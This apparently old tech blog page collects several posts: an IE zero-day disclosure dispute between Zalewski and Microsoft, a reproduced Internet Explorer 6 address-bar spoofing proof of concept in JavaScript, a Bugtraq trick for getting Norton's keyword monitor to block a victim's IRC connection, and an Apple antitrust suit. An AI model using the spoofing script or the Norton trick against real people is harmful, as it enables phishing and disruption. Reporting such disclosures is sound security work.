Can you see the irony?
Just after 2 weeks that M$ released the Internet Explorer security makeover, Michal Zalewski came up with a highly critical exploit, as called by Secunia… based on a mishandling of the OBJECT tag….

Security alerts aggregator Secunia flagged the issue as “highly critical” and stressed that it can be exploited to corrupt memory by tricking a user into visiting a malicious Web site. “Successful exploitation allows execution of arbitrary code,” Secunia warned.

Of course M$ didn’t just sit around… they blamed Michal Zalewski for publishing the vulnerability prior of noticing M$ so they could launch a patch [again?] for it…

Microsoft chided Zalewski for jumping the gun and posting his findings before a comprehensive patch could be created, but the researcher is unapologetic.

And how expected Zalewski striked back:

[They] often attempt to downplay threats; they don’t participate in the vulnerability research community in a meaningful way; and they routinely use false pretenses when communicating their expectations to the media (for example, expressing concern for the customer and blaming the researcher where the chief risk for the customer arises from the fact that an extremely wealthy and profitable software giant severely underfunds the task of fixing critical defects in their software)

Researchers at Websense Security Labs said there are no published proof-of-concepts demonstrating a remote code execution attack vector but made it clear that browser crash vulnerabilities often lead to remote code execution exploits.
But a quick search on SecurityFocus proved something else:
http://www.securityfocus.com/archive/1/431796/30/30/threaded

Source: Microsoft Rocked by New IE Zero-Day Flaw Warning

I recently found on securityfocus mailinglist a bug in IE which can be exploited with a simple javascript code to spoof the address bar location…

This allow attacker inject a malicious shockwave-flash application into Internet Explorer while it is display another URL (even trusted sites).

The vulnerability has been confirmed on a fully patched system with Internet Explorer 6.0 + Microsoft Windows XP SP2 and previous versions.
Sample code:

<script language=”javascript”>
function pause(ms)
{
date = new Date();
var curDate = null;

do { var curDate = new Date(); }
while(curDate-date < ms);
}

function spoof () {
win = window.open(‘http://www.microsoft.com/’,'new’)
pause (2000)
win = window.open(‘http://www.buctuong.com/swfs/index.swf’,'new’)
pause (2000)
win = window.open(‘http://www.microsoft.com/’,'new’)

}
</script>
<a href=”javascript: spoof()”>Perform the test</a>

If you are vulnerable you will see the flash intro of buctuong.com while the address bar is http://www.microsoft.com/ If you have a very fast connection you may change my flash application to a larger one to make loading time take longer.

This spoofing technique discovered and proved by

Hai Nam Luke
K46A – NEU, Hanoi

the following exploits (if we can call it this way) was published on securityfocus bugtraq mailinglist… it is entirely reproduced in the following lines:

Norton Internet monitoring tools issues
Versions Affected : *
Fix : No

What im writing about is how to stop the internet of some user that is
using the norton tools and IRC / any other chat at the same time.

By default norton monitor checks for words like “keylogger” , “start
keylogger” , “key logger” and etc.etc.

Example for irc :
Start a mIRC or any other IRC client that u like and connect to some
server.
Type down /ctcp yournick start keylogger . By default norton monitors
your mIRC Process and your logs of it so it sees “star keylogger” and
automaticly blocks mIRC.exe from starting and automaticly blocks port
6667 or whatever port ure using to connect to IRC. Nice eh ?

Aleksander Hristov

So you should be in a small manner paranoic when using Norton tools…

Back in September, we posted about Thomas Slattery, an unhappy iTunes user who filed a class action lawsuit against Apple alledging that Apple has a monopoly over the digital music and digital music player market with iTMS and iPods. Back then, the judge dismissed a number of items in Apple’s favor, but didn’t dismiss the whole case. Well it appears as if the case has been approved to go forward, as Mr. Slattery has apparently “met all requirements” for such a lawsuit.

Judge Ware has given Slattery the go-ahead to proceed with his monopolization claim under the federal Sherman Antitrust Act, according to eHomeUpgrade. Slattery claimed that Apple’s system freezes out competitors, and while one antitrust expert called it a long shot, another antitrust law professor said that the key to such a lawsuit would be convincing a court that a single product brand like iTunes is a market in itself separate from the rest of the online music market.

Is the iTMS and the iPod an entire separate market, in and of itself? While I don’t personally think so (iTMS may hold a large majority of the marketshare for digital music, but I still consider there to be some competition), I can see how a lawyer for the aforementioned Mr. Slattery may try to argue such a thing but they would have to argue that Apple has been so overwhelmingly successful in the digital music market as a whole that they have completely taken it over and created their own market, separate from the likes of Napster or Creative music players, in which no one else can enter but themselves.

The fact that the suit got approved to go forward is a little scary, however. We have to wonder: what, pray tell, might the outcome be and how might it affect Apple’s loyal user base?

Source: Arstechnica